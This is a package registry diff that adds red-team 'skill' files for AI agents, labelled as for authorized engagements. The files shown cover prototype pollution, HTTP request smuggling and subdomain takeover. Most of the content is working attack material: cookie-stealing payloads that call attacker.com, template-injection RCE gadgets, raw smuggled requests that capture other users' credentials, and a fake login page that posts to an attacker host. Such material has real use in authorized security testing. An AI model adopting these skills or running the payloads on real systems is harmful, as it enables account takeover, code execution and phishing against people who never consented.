rtexit-method 0.1.8 → 0.1.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-business-logic/SKILL.md +190 -0
- package/packaged-assets/.agents/skills/rt-cache-attacks/SKILL.md +166 -0
- package/packaged-assets/.agents/skills/rt-clickjacking/SKILL.md +227 -0
- package/packaged-assets/.agents/skills/rt-cors-csrf/SKILL.md +180 -0
- package/packaged-assets/.agents/skills/rt-deserialization/SKILL.md +223 -0
- package/packaged-assets/.agents/skills/rt-dom-attacks/SKILL.md +219 -0
- package/packaged-assets/.agents/skills/rt-http-parameter-pollution/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-ldap-xpath-injection/SKILL.md +228 -0
- package/packaged-assets/.agents/skills/rt-path-traversal/SKILL.md +172 -0
- package/packaged-assets/.agents/skills/rt-prototype-pollution/SKILL.md +154 -0
- package/packaged-assets/.agents/skills/rt-request-smuggling/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-subdomain-takeover/SKILL.md +307 -0
- package/packaged-assets/.agents/skills/rt-xxe/SKILL.md +181 -0
|
@@ -0,0 +1,154 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-prototype-pollution
|
|
3
|
+
description: "Prototype pollution attack skill for authorized engagements. Client-side prototype pollution to DOM XSS and cookie theft, server-side prototype pollution in Node.js to RCE, gadget chains for PP escalation, AST injection via prototype pollution, property injection in lodash/merge functions, and automated detection with PPScan. Use when testing JavaScript applications (both browser-side and Node.js server-side)."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-prototype-pollution — Prototype Pollution
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
JavaScript's prototype chain allows every object to inherit properties from its prototype. Prototype pollution injects properties into `Object.prototype` — affecting ALL objects in the application. Client-side: leads to DOM XSS. Server-side: leads to RCE, authentication bypass, and privilege escalation.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Detection
|
|
15
|
+
|
|
16
|
+
```javascript
|
|
17
|
+
// Client-side detection in browser console
|
|
18
|
+
// Inject test property into Object.prototype
|
|
19
|
+
?__proto__[testprop]=testvalue
|
|
20
|
+
// Or in JSON body: {"__proto__": {"testprop": "testvalue"}}
|
|
21
|
+
|
|
22
|
+
// Check if it worked
|
|
23
|
+
window.testprop // Should be "testvalue" if polluted
|
|
24
|
+
({}).testprop // Any empty object should have it
|
|
25
|
+
|
|
26
|
+
// Server-side detection
|
|
27
|
+
// Send request with __proto__ in JSON
|
|
28
|
+
fetch('/api/user/update', {
|
|
29
|
+
method: 'POST',
|
|
30
|
+
body: JSON.stringify({"__proto__": {"polluted": true}})
|
|
31
|
+
})
|
|
32
|
+
// If server responds differently → server-side PP
|
|
33
|
+
|
|
34
|
+
// Automated: PPScan
|
|
35
|
+
npm install -g ppscan
|
|
36
|
+
ppscan --url https://target.com
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## Phase 2 — Client-Side PP to DOM XSS
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
# Inject via URL query parameter
|
|
45
|
+
https://target.com/?__proto__[innerHTML]=<img src=x onerror=alert(1)>
|
|
46
|
+
https://target.com/?__proto__[src]=//attacker.com/evil.js
|
|
47
|
+
|
|
48
|
+
# Inject via JSON body parameter
|
|
49
|
+
{"username": "test", "__proto__": {"isAdmin": true}}
|
|
50
|
+
{"name": "x", "constructor": {"prototype": {"isAdmin": true}}}
|
|
51
|
+
{"name": "x", "__proto__.__proto__": {"isAdmin": true}}
|
|
52
|
+
|
|
53
|
+
# Common gadgets (properties that cause XSS when polluted)
|
|
54
|
+
__proto__[innerHTML] → sets innerHTML of elements
|
|
55
|
+
__proto__[src] → sets src of script/img elements
|
|
56
|
+
__proto__[href] → sets href causing XSS
|
|
57
|
+
__proto__[transport_url] → jQuery JSONP
|
|
58
|
+
__proto__[sequence] → DOMPurify bypass
|
|
59
|
+
__proto__[NODE_NAME] → specific framework gadgets
|
|
60
|
+
|
|
61
|
+
# PayloadsAllTheThings PP gadgets
|
|
62
|
+
# https://github.com/HoLyVieR/prototype-pollution-nsec18
|
|
63
|
+
|
|
64
|
+
# Exploit: steal cookies via polluted property
|
|
65
|
+
https://target.com/?__proto__[innerHTML]=<script>fetch('https://attacker.com?c='+document.cookie)</script>
|
|
66
|
+
```
|
|
67
|
+
|
|
68
|
+
---
|
|
69
|
+
|
|
70
|
+
## Phase 3 — Server-Side PP to RCE
|
|
71
|
+
|
|
72
|
+
```javascript
|
|
73
|
+
// Node.js server-side prototype pollution → RCE
|
|
74
|
+
|
|
75
|
+
// Lodash merge (CVE-2019-10744)
|
|
76
|
+
const _ = require('lodash');
|
|
77
|
+
_.merge({}, JSON.parse('{"__proto__":{"shell":"node","NODE_OPTIONS":"--require /proc/self/cmdline"}}'));
|
|
78
|
+
// Pollutes process.mainModule.require or shell property
|
|
79
|
+
|
|
80
|
+
// express-fileupload PP (CVE-2020-7699)
|
|
81
|
+
// POST with file upload + __proto__ in field name → pollutes globally
|
|
82
|
+
|
|
83
|
+
// Handlebars template injection via PP (CVE-2019-19919)
|
|
84
|
+
// Pollute __proto__.pendingContent → template execution
|
|
85
|
+
const payload = '{"__proto__": {"pendingContent": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return require(\'child_process\').execSync(\'id\').toString()\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}}';
|
|
86
|
+
|
|
87
|
+
// Detect via spawn/exec pollution
|
|
88
|
+
// If shell property polluted → child_process.exec uses it
|
|
89
|
+
const {exec} = require('child_process');
|
|
90
|
+
exec('id'); // If __proto__.shell='node' → executes node instead
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
---
|
|
94
|
+
|
|
95
|
+
## Phase 4 — Escalation via Gadgets
|
|
96
|
+
|
|
97
|
+
```javascript
|
|
98
|
+
// Property injection gadgets for various frameworks
|
|
99
|
+
|
|
100
|
+
// Express.js
|
|
101
|
+
__proto__[admin] = true // Bypass auth checks: if(req.user.admin)
|
|
102
|
+
__proto__[authorized] = true
|
|
103
|
+
__proto__[role] = "admin"
|
|
104
|
+
|
|
105
|
+
// ejs template RCE gadget
|
|
106
|
+
__proto__[outputFunctionName] = "x; process.mainModule.require('child_process').execSync('id'); //"
|
|
107
|
+
|
|
108
|
+
// Pug template
|
|
109
|
+
__proto__[compileDebug] = 1
|
|
110
|
+
__proto__[self] = 1
|
|
111
|
+
|
|
112
|
+
// Finding gadgets manually
|
|
113
|
+
// Search codebase for dangerous property accesses that could be polluted:
|
|
114
|
+
grep -r "opts\.\|options\.\|config\." src/ | grep -v "==" | grep -v "!=="
|
|
115
|
+
# Properties read from objects without hasOwnProperty check = potential gadgets
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## Phase 5 — Fix Bypass Techniques
|
|
121
|
+
|
|
122
|
+
```javascript
|
|
123
|
+
// App uses Object.create(null) to avoid PP? Try:
|
|
124
|
+
{"constructor": {"prototype": {"polluted": true}}}
|
|
125
|
+
|
|
126
|
+
// App filters __proto__? Use:
|
|
127
|
+
{"constructor": {"prototype": {"polluted": true}}}
|
|
128
|
+
// or URL encoded: %5F%5Fproto%5F%5F
|
|
129
|
+
|
|
130
|
+
// Deep merge bypass
|
|
131
|
+
{"a": {"__proto__": {"polluted": true}}}
|
|
132
|
+
// Some merge functions recurse → pollutes at depth
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
---
|
|
136
|
+
|
|
137
|
+
## Skill Levels
|
|
138
|
+
|
|
139
|
+
**BEGINNER:** DOM XSS via URL-based PP · isAdmin bypass via polluted property
|
|
140
|
+
|
|
141
|
+
**INTERMEDIATE:** PP gadget research in target's framework · Server-side PP detection
|
|
142
|
+
|
|
143
|
+
**ADVANCED:** ejs/Pug RCE via PP gadgets · Lodash merge exploitation · PP chain to full server compromise
|
|
144
|
+
|
|
145
|
+
**EXPERT:** Custom gadget discovery · PP + deserialization chains · 0-day PP in popular frameworks
|
|
146
|
+
|
|
147
|
+
---
|
|
148
|
+
|
|
149
|
+
## References
|
|
150
|
+
|
|
151
|
+
- PortSwigger PP: https://portswigger.net/web-security/prototype-pollution
|
|
152
|
+
- PP gadgets research: https://github.com/BlackFan/client-side-prototype-pollution
|
|
153
|
+
- Server-side PP: https://portswigger.net/research/server-side-prototype-pollution
|
|
154
|
+
- MITRE T1059.007: https://attack.mitre.org/techniques/T1059/007/
|
|
@@ -0,0 +1,187 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-request-smuggling
|
|
3
|
+
description: "HTTP Request Smuggling attack skill for authorized engagements. CL.TE and TE.CL desync attacks, HTTP/2 downgrade smuggling (H2.CL, H2.TE), request queue poisoning for account takeover, smuggling to bypass front-end security controls, capturing other users' requests, response queue poisoning, and Burp Suite smuggling detection. Use when testing applications behind reverse proxies, load balancers, or CDNs."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-request-smuggling — HTTP Request Smuggling
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
HTTP Request Smuggling exploits disagreements between front-end (proxy/CDN) and back-end servers about where one HTTP request ends and the next begins. The front-end sees one request; the back-end sees two — the second being a "smuggled" request that can poison the queue, hijack other users' requests, or bypass security controls.
|
|
11
|
+
|
|
12
|
+
**Conditions:** Front-end + back-end server, both parsing HTTP differently (Content-Length vs Transfer-Encoding).
|
|
13
|
+
|
|
14
|
+
---
|
|
15
|
+
|
|
16
|
+
## Phase 1 — Detection
|
|
17
|
+
|
|
18
|
+
```http
|
|
19
|
+
# CL.TE detection — front-end uses Content-Length, back-end uses TE
|
|
20
|
+
POST / HTTP/1.1
|
|
21
|
+
Host: target.com
|
|
22
|
+
Content-Length: 6
|
|
23
|
+
Transfer-Encoding: chunked
|
|
24
|
+
|
|
25
|
+
0
|
|
26
|
+
|
|
27
|
+
X
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
```bash
|
|
31
|
+
# Burp Suite — HTTP Request Smuggler extension (BApp Store)
|
|
32
|
+
# Scanner → Scan → HTTP Request Smuggling
|
|
33
|
+
|
|
34
|
+
# Manual timing-based detection
|
|
35
|
+
# If response takes ~10s with no timeout set → backend stalled on incomplete chunk → CL.TE vulnerable
|
|
36
|
+
|
|
37
|
+
# smuggler.py — automated detection
|
|
38
|
+
git clone https://github.com/defparam/smuggler
|
|
39
|
+
python3 smuggler.py -u https://target.com/
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
---
|
|
43
|
+
|
|
44
|
+
## Phase 2 — CL.TE (Front-end: Content-Length, Back-end: Transfer-Encoding)
|
|
45
|
+
|
|
46
|
+
```http
|
|
47
|
+
# Smuggled prefix poisoning
|
|
48
|
+
POST / HTTP/1.1
|
|
49
|
+
Host: target.com
|
|
50
|
+
Content-Length: 13
|
|
51
|
+
Transfer-Encoding: chunked
|
|
52
|
+
|
|
53
|
+
0
|
|
54
|
+
|
|
55
|
+
SMUGGLED
|
|
56
|
+
```
|
|
57
|
+
|
|
58
|
+
```http
|
|
59
|
+
# Capture next user's request (account takeover)
|
|
60
|
+
POST / HTTP/1.1
|
|
61
|
+
Host: target.com
|
|
62
|
+
Content-Type: application/x-www-form-urlencoded
|
|
63
|
+
Content-Length: 130
|
|
64
|
+
Transfer-Encoding: chunked
|
|
65
|
+
|
|
66
|
+
0
|
|
67
|
+
|
|
68
|
+
POST /login HTTP/1.1
|
|
69
|
+
Host: target.com
|
|
70
|
+
Content-Type: application/x-www-form-urlencoded
|
|
71
|
+
Content-Length: 100
|
|
72
|
+
|
|
73
|
+
username=captured_
|
|
74
|
+
# Next user's request body appends here → steals their credentials
|
|
75
|
+
```
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## Phase 3 — TE.CL (Front-end: Transfer-Encoding, Back-end: Content-Length)
|
|
80
|
+
|
|
81
|
+
```http
|
|
82
|
+
POST / HTTP/1.1
|
|
83
|
+
Host: target.com
|
|
84
|
+
Content-Length: 4
|
|
85
|
+
Transfer-Encoding: chunked
|
|
86
|
+
|
|
87
|
+
5e
|
|
88
|
+
POST /admin HTTP/1.1
|
|
89
|
+
Host: target.com
|
|
90
|
+
Content-Type: application/x-www-form-urlencoded
|
|
91
|
+
Content-Length: 15
|
|
92
|
+
|
|
93
|
+
admin=true&x=
|
|
94
|
+
0
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
---
|
|
98
|
+
|
|
99
|
+
## Phase 4 — H2.CL / H2.TE (HTTP/2 Downgrade Smuggling)
|
|
100
|
+
|
|
101
|
+
```http
|
|
102
|
+
# HTTP/2 requests downgraded to HTTP/1.1 at the proxy
|
|
103
|
+
# Inject Content-Length or Transfer-Encoding in HTTP/2 headers
|
|
104
|
+
|
|
105
|
+
# H2.CL — inject Content-Length in HTTP/2
|
|
106
|
+
:method POST
|
|
107
|
+
:path /
|
|
108
|
+
:authority target.com
|
|
109
|
+
content-type application/x-www-form-urlencoded
|
|
110
|
+
content-length 0
|
|
111
|
+
|
|
112
|
+
# H2.TE — inject Transfer-Encoding in HTTP/2 pseudo-header
|
|
113
|
+
:method POST
|
|
114
|
+
transfer-encoding chunked
|
|
115
|
+
# Body follows with chunked encoding
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
```bash
|
|
119
|
+
# Burp Suite — HTTP/2 smuggling
|
|
120
|
+
# Repeater → toggle HTTP/2 → inject headers manually
|
|
121
|
+
# Inspector pane → add custom headers without content-length auto-calculation
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## Phase 5 — Security Control Bypass
|
|
127
|
+
|
|
128
|
+
```http
|
|
129
|
+
# Bypass front-end IP restriction
|
|
130
|
+
# Front-end blocks /admin from external IPs
|
|
131
|
+
# Smuggle request to appear as internal
|
|
132
|
+
|
|
133
|
+
POST / HTTP/1.1
|
|
134
|
+
Host: target.com
|
|
135
|
+
Content-Length: 116
|
|
136
|
+
Transfer-Encoding: chunked
|
|
137
|
+
|
|
138
|
+
0
|
|
139
|
+
|
|
140
|
+
GET /admin HTTP/1.1
|
|
141
|
+
Host: target.com
|
|
142
|
+
X-Forwarded-For: 127.0.0.1
|
|
143
|
+
X-Original-URL: /admin
|
|
144
|
+
Content-Length: 10
|
|
145
|
+
|
|
146
|
+
x=1
|
|
147
|
+
```
|
|
148
|
+
|
|
149
|
+
---
|
|
150
|
+
|
|
151
|
+
## Phase 6 — Response Queue Poisoning
|
|
152
|
+
|
|
153
|
+
```http
|
|
154
|
+
# Poison response queue → steal other users' responses
|
|
155
|
+
# Works when backend uses persistent connections
|
|
156
|
+
|
|
157
|
+
POST / HTTP/1.1
|
|
158
|
+
Host: target.com
|
|
159
|
+
Content-Length: 43
|
|
160
|
+
Transfer-Encoding: chunked
|
|
161
|
+
|
|
162
|
+
0
|
|
163
|
+
|
|
164
|
+
GET /admin/delete?user=victim HTTP/1.1
|
|
165
|
+
X: X
|
|
166
|
+
```
|
|
167
|
+
|
|
168
|
+
---
|
|
169
|
+
|
|
170
|
+
## Skill Levels
|
|
171
|
+
|
|
172
|
+
**BEGINNER:** Burp HTTP Request Smuggler extension for automated detection
|
|
173
|
+
|
|
174
|
+
**INTERMEDIATE:** Manual CL.TE/TE.CL with Burp Repeater · Security control bypass
|
|
175
|
+
|
|
176
|
+
**ADVANCED:** Request capture for account takeover · H2.CL/H2.TE HTTP/2 smuggling
|
|
177
|
+
|
|
178
|
+
**EXPERT:** Response queue poisoning · Custom timing-based detection · CDN-specific variants
|
|
179
|
+
|
|
180
|
+
---
|
|
181
|
+
|
|
182
|
+
## References
|
|
183
|
+
|
|
184
|
+
- PortSwigger Research: https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn
|
|
185
|
+
- PortSwigger Lab: https://portswigger.net/web-security/request-smuggling
|
|
186
|
+
- smuggler.py: https://github.com/defparam/smuggler
|
|
187
|
+
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
|
|
@@ -0,0 +1,307 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-subdomain-takeover
|
|
3
|
+
description: "Subdomain takeover skill for authorized engagements. Identifying dangling CNAME records pointing to unclaimed services, takeover on GitHub Pages, Heroku, AWS S3, Azure, Netlify, Fastly, Shopify, and 50+ other platforms, DNS hijacking via expired domains, NS takeover for full zone control, automated scanning with Subzy and Nuclei, and impact demonstration via cookie theft and phishing. Use after subdomain enumeration to identify high-impact unclaimed subdomains."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-subdomain-takeover — Subdomain Takeover
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Subdomain takeover occurs when a subdomain has a CNAME record pointing to an external service that no longer exists or is unclaimed. An attacker claims that service, hosts malicious content under the company's subdomain, and can steal cookies, run phishing, bypass CSP, or conduct further attacks under a trusted domain.
|
|
11
|
+
|
|
12
|
+
**Impact:**
|
|
13
|
+
- Serve malicious content under `trusted-corp.com` subdomain
|
|
14
|
+
- Steal cookies scoped to `.corp.com` (if HttpOnly not set)
|
|
15
|
+
- Bypass CSP (content served from trusted origin)
|
|
16
|
+
- Send phishing emails from `mail.corp.com`
|
|
17
|
+
- Full zone control if NS record is dangling
|
|
18
|
+
|
|
19
|
+
---
|
|
20
|
+
|
|
21
|
+
## Phase 1 — Discovery
|
|
22
|
+
|
|
23
|
+
```bash
|
|
24
|
+
# Step 1: Enumerate all subdomains (feed from rt-subdomain-enum output)
|
|
25
|
+
subfinder -d corp.com -all -silent | tee subs.txt
|
|
26
|
+
amass enum -passive -d corp.com -o subs-amass.txt
|
|
27
|
+
cat subs*.txt | sort -u > all-subs.txt
|
|
28
|
+
|
|
29
|
+
# Step 2: Check CNAME records for each subdomain
|
|
30
|
+
while read sub; do
|
|
31
|
+
cname=$(dig CNAME +short $sub)
|
|
32
|
+
if [ -n "$cname" ]; then
|
|
33
|
+
echo "$sub → $cname"
|
|
34
|
+
fi
|
|
35
|
+
done < all-subs.txt | tee cname-map.txt
|
|
36
|
+
|
|
37
|
+
# Step 3: Check if CNAME target exists / is claimed
|
|
38
|
+
while IFS=' → ' read sub cname; do
|
|
39
|
+
# Check if CNAME target resolves
|
|
40
|
+
if ! dig +short $cname | grep -q '[0-9]'; then
|
|
41
|
+
echo "[DANGLING] $sub → $cname"
|
|
42
|
+
fi
|
|
43
|
+
done < cname-map.txt
|
|
44
|
+
|
|
45
|
+
# Step 4: Check for NXDOMAIN (subdomain exists in DNS but CNAME target gone)
|
|
46
|
+
while read sub; do
|
|
47
|
+
result=$(dig +short $sub)
|
|
48
|
+
if [ -z "$result" ]; then
|
|
49
|
+
# Check if there's a CNAME that leads nowhere
|
|
50
|
+
cname=$(dig CNAME +short $sub 2>/dev/null)
|
|
51
|
+
[ -n "$cname" ] && echo "[CANDIDATE] $sub → $cname"
|
|
52
|
+
fi
|
|
53
|
+
done < all-subs.txt
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
---
|
|
57
|
+
|
|
58
|
+
## Phase 2 — Automated Scanning
|
|
59
|
+
|
|
60
|
+
```bash
|
|
61
|
+
# Subzy — dedicated subdomain takeover scanner
|
|
62
|
+
go install github.com/LukaSikic/subzy@latest
|
|
63
|
+
subzy run --targets all-subs.txt
|
|
64
|
+
# Checks against 50+ fingerprints for vulnerable services
|
|
65
|
+
|
|
66
|
+
# Nuclei — subdomain takeover templates
|
|
67
|
+
nuclei -l all-subs.txt -t ~/nuclei-templates/http/takeovers/
|
|
68
|
+
# Covers: GitHub Pages, Heroku, AWS S3, Azure, Netlify, Fastly, etc.
|
|
69
|
+
|
|
70
|
+
# subjack
|
|
71
|
+
go install github.com/haccer/subjack@latest
|
|
72
|
+
subjack -w all-subs.txt -t 100 -timeout 30 -o results.txt -ssl
|
|
73
|
+
|
|
74
|
+
# Can-I-Take-Over-XYZ (reference list)
|
|
75
|
+
# https://github.com/EdOverflow/can-i-take-over-xyz
|
|
76
|
+
# Lists fingerprints and claimable status per service
|
|
77
|
+
|
|
78
|
+
# Manual check: visit subdomains with Burp + look for:
|
|
79
|
+
# "NoSuchBucket" = S3 takeover
|
|
80
|
+
# "There is no app here" = Heroku takeover
|
|
81
|
+
# "404 Not Found" on GitHub Pages
|
|
82
|
+
# "Fastly error: 404 Unknown" = Fastly takeover
|
|
83
|
+
# "azure websites" errors = Azure App Service
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
---
|
|
87
|
+
|
|
88
|
+
## Phase 3 — Service-Specific Takeovers
|
|
89
|
+
|
|
90
|
+
### GitHub Pages
|
|
91
|
+
|
|
92
|
+
```bash
|
|
93
|
+
# Fingerprint: "There isn't a GitHub Pages site here"
|
|
94
|
+
# Check: dig CNAME sub.corp.com → corp-org.github.io
|
|
95
|
+
|
|
96
|
+
# Takeover:
|
|
97
|
+
# 1. Create GitHub account / org matching the CNAME
|
|
98
|
+
# 2. Create repo: corp-org/corp-org.github.io
|
|
99
|
+
# 3. Enable GitHub Pages
|
|
100
|
+
# 4. Add CNAME file: echo "sub.corp.com" > CNAME
|
|
101
|
+
# 5. sub.corp.com now serves your content
|
|
102
|
+
|
|
103
|
+
# Or if CNAME points to username.github.io:
|
|
104
|
+
# 1. Register GitHub username: corp-username
|
|
105
|
+
# 2. Create repo: corp-username.github.io
|
|
106
|
+
# 3. sub.corp.com → your repo
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
### AWS S3
|
|
110
|
+
|
|
111
|
+
```bash
|
|
112
|
+
# Fingerprint: "NoSuchBucket" or "The specified bucket does not exist"
|
|
113
|
+
# Check: dig CNAME sub.corp.com → sub.corp.com.s3.amazonaws.com
|
|
114
|
+
# or: sub.corp.com.s3-website-us-east-1.amazonaws.com
|
|
115
|
+
|
|
116
|
+
# Takeover:
|
|
117
|
+
aws s3 mb s3://sub.corp.com --region us-east-1
|
|
118
|
+
# Bucket name must EXACTLY match the subdomain
|
|
119
|
+
aws s3 website s3://sub.corp.com/ \
|
|
120
|
+
--index-document index.html \
|
|
121
|
+
--error-document error.html
|
|
122
|
+
|
|
123
|
+
# Upload malicious content
|
|
124
|
+
echo '<script>document.location="https://attacker.com?c="+document.cookie</script>' \
|
|
125
|
+
> index.html
|
|
126
|
+
aws s3 cp index.html s3://sub.corp.com/
|
|
127
|
+
|
|
128
|
+
# sub.corp.com now serves your page under corp.com's domain
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### Heroku
|
|
132
|
+
|
|
133
|
+
```bash
|
|
134
|
+
# Fingerprint: "No such app" or "herokuapps.com" CNAME
|
|
135
|
+
# CNAME: sub.corp.com → random-name-12345.herokudns.com
|
|
136
|
+
|
|
137
|
+
# Takeover:
|
|
138
|
+
heroku create random-name-12345
|
|
139
|
+
heroku domains:add sub.corp.com --app random-name-12345
|
|
140
|
+
# Deploy app to random-name-12345
|
|
141
|
+
# sub.corp.com → your Heroku app
|
|
142
|
+
```
|
|
143
|
+
|
|
144
|
+
### Azure App Service
|
|
145
|
+
|
|
146
|
+
```bash
|
|
147
|
+
# Fingerprint: "Microsoft Azure App Service" 404
|
|
148
|
+
# CNAME: sub.corp.com → corp-app.azurewebsites.net
|
|
149
|
+
|
|
150
|
+
# Takeover:
|
|
151
|
+
az webapp create --name corp-app \
|
|
152
|
+
--resource-group myRG \
|
|
153
|
+
--plan myPlan
|
|
154
|
+
az webapp config hostname add \
|
|
155
|
+
--webapp-name corp-app \
|
|
156
|
+
--resource-group myRG \
|
|
157
|
+
--hostname sub.corp.com
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
### Netlify
|
|
161
|
+
|
|
162
|
+
```bash
|
|
163
|
+
# Fingerprint: "Not found - Request ID"
|
|
164
|
+
# CNAME: sub.corp.com → corp.netlify.app
|
|
165
|
+
|
|
166
|
+
# Takeover:
|
|
167
|
+
# 1. Create Netlify site → site settings → domain management
|
|
168
|
+
# 2. Add custom domain: sub.corp.com
|
|
169
|
+
# 3. Deploy malicious site
|
|
170
|
+
netlify deploy --prod
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
### Fastly
|
|
174
|
+
|
|
175
|
+
```bash
|
|
176
|
+
# Fingerprint: "Fastly error: 404 Unfound" or "Unknown domain"
|
|
177
|
+
# CNAME: sub.corp.com → something.fastly.net
|
|
178
|
+
|
|
179
|
+
# Takeover:
|
|
180
|
+
# Create Fastly service → add domain: sub.corp.com
|
|
181
|
+
# sub.corp.com now served by your Fastly service
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 4 — NS Record Takeover (Critical)
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
# If subdomain.corp.com has NS records pointing to expired/unclaimed nameservers
|
|
190
|
+
# → attacker claims the nameservers → full DNS control for that subdomain
|
|
191
|
+
|
|
192
|
+
# Check NS records
|
|
193
|
+
dig NS sub.corp.com
|
|
194
|
+
# ns1.expired-dns-provider.com
|
|
195
|
+
# ns2.expired-dns-provider.com
|
|
196
|
+
|
|
197
|
+
# Check if provider is still active
|
|
198
|
+
whois expired-dns-provider.com | grep -i "expir"
|
|
199
|
+
# If expired/available → register it → control all DNS for sub.corp.com
|
|
200
|
+
|
|
201
|
+
# Once you control NS:
|
|
202
|
+
# → Create A records → point to attacker server
|
|
203
|
+
# → Create MX records → intercept email to @sub.corp.com
|
|
204
|
+
# → Create any record → full subdomain zone control
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
---
|
|
208
|
+
|
|
209
|
+
## Phase 5 — Impact Demonstration
|
|
210
|
+
|
|
211
|
+
```bash
|
|
212
|
+
# Cookie theft (demonstrate scope)
|
|
213
|
+
# If corp.com sets cookies with Domain=.corp.com:
|
|
214
|
+
# sub.corp.com can read those cookies!
|
|
215
|
+
|
|
216
|
+
# Host on claimed subdomain:
|
|
217
|
+
cat > index.html << 'EOF'
|
|
218
|
+
<html>
|
|
219
|
+
<script>
|
|
220
|
+
// Steal .corp.com scoped cookies
|
|
221
|
+
var stolen = document.cookie;
|
|
222
|
+
fetch('https://attacker.com/log?cookies=' + encodeURIComponent(stolen));
|
|
223
|
+
|
|
224
|
+
// Demonstrate phishing capability
|
|
225
|
+
document.write('<h1>Corp.com Login Portal</h1>');
|
|
226
|
+
document.write('<form action="https://attacker.com/collect" method="POST">');
|
|
227
|
+
document.write('<input name="user" placeholder="Username"><br>');
|
|
228
|
+
document.write('<input name="pass" type="password" placeholder="Password"><br>');
|
|
229
|
+
document.write('<button>Login</button></form>');
|
|
230
|
+
</script>
|
|
231
|
+
</html>
|
|
232
|
+
EOF
|
|
233
|
+
|
|
234
|
+
# CSP bypass: if corp.com has CSP: script-src *.corp.com
|
|
235
|
+
# Loading scripts from sub.corp.com bypasses CSP completely
|
|
236
|
+
# <script src="https://sub.corp.com/evil.js"></script> ← allowed by CSP!
|
|
237
|
+
```
|
|
238
|
+
|
|
239
|
+
---
|
|
240
|
+
|
|
241
|
+
## Phase 6 — Evidence Documentation
|
|
242
|
+
|
|
243
|
+
```bash
|
|
244
|
+
# Screenshot the takeover proof
|
|
245
|
+
# Show: sub.corp.com serving your content
|
|
246
|
+
|
|
247
|
+
# curl to confirm
|
|
248
|
+
curl -I https://sub.corp.com
|
|
249
|
+
# Server: your-server
|
|
250
|
+
# Content shows attacker-controlled content
|
|
251
|
+
|
|
252
|
+
# Document CNAME chain
|
|
253
|
+
dig CNAME +trace sub.corp.com
|
|
254
|
+
|
|
255
|
+
# Finding template:
|
|
256
|
+
# Title: Subdomain Takeover — sub.corp.com
|
|
257
|
+
# Severity: HIGH (cookie theft possible) / MEDIUM (content injection)
|
|
258
|
+
# CVSS: 8.1 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) if cookie theft
|
|
259
|
+
# Evidence: screenshot + curl output + CNAME chain
|
|
260
|
+
# Impact: phishing under trusted domain, cookie theft, CSP bypass
|
|
261
|
+
# Remediation: remove dangling DNS record OR re-claim the service
|
|
262
|
+
```
|
|
263
|
+
|
|
264
|
+
---
|
|
265
|
+
|
|
266
|
+
## Most Vulnerable Services (Quick Reference)
|
|
267
|
+
|
|
268
|
+
```
|
|
269
|
+
Service Fingerprint Claimable
|
|
270
|
+
─────────────────────────────────────────────────────────────────────────
|
|
271
|
+
GitHub Pages "There isn't a GitHub Pages site here" ✅ Yes
|
|
272
|
+
AWS S3 "NoSuchBucket" ✅ Yes
|
|
273
|
+
Heroku "No such app" ✅ Yes
|
|
274
|
+
Azure App Service Azure 404 page ✅ Yes
|
|
275
|
+
Netlify "Not found - Request ID" ✅ Yes
|
|
276
|
+
Fastly "Fastly error: 404 Unfound" ✅ Yes
|
|
277
|
+
Shopify "Sorry, this shop is currently..." ✅ Yes
|
|
278
|
+
Tumblr "There's nothing here" ✅ Yes
|
|
279
|
+
WordPress.com "Do you want to register..." ✅ Yes
|
|
280
|
+
Ghost "The thing you were looking for..." ✅ Yes
|
|
281
|
+
Surge.sh "project not found" ✅ Yes
|
|
282
|
+
Bitbucket "Repository not found" ✅ Yes
|
|
283
|
+
Zendesk "Help Center Closed" ✅ Yes
|
|
284
|
+
Freshdesk "We could not find what..." ⚠️ Limited
